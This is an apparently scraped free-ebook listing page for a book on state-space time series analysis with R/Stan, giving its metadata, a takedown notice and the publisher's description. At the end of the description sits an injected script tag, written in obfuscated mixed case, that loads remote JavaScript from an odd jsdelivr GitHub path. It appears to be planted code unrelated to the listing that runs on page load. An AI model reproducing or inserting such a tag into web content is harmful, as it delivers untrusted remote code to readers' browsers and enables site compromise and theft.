Category:
Statistics
Time Series Analysis for the State-Space Model with R/Stan free ebook download
Author(s):
Junichiro Hagiwara
Language:
English
ISBN/ASIN:
9811607109
Publisher:
Date:
September 7, 2021
ISBN13:
9789811607103
This book has been deleted by request of copyrightholders. No links are available.
Description:
This book provides a comprehensive and concrete illustration of time series analysis focusing on the state-space model, which has recently attracted increasing attention in a broad range of fields. The major feature of the book lies in its consistent Bayesian treatment regarding whole combinations of batch and sequential solutions for linear Gaussian and general state-space models: MCMC and Kalman/particle filter. The reader is given insight on flexible modeling in modern time series analysis. The main topics of the book deal with the state-space model, covering extensively, from introductory and exploratory methods to the latest advanced topics such as real-time structural change detection. Additionally, a practical exercise using R/Stan based on real data promotes understanding and enhances the reader’s analytical capability. <sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>
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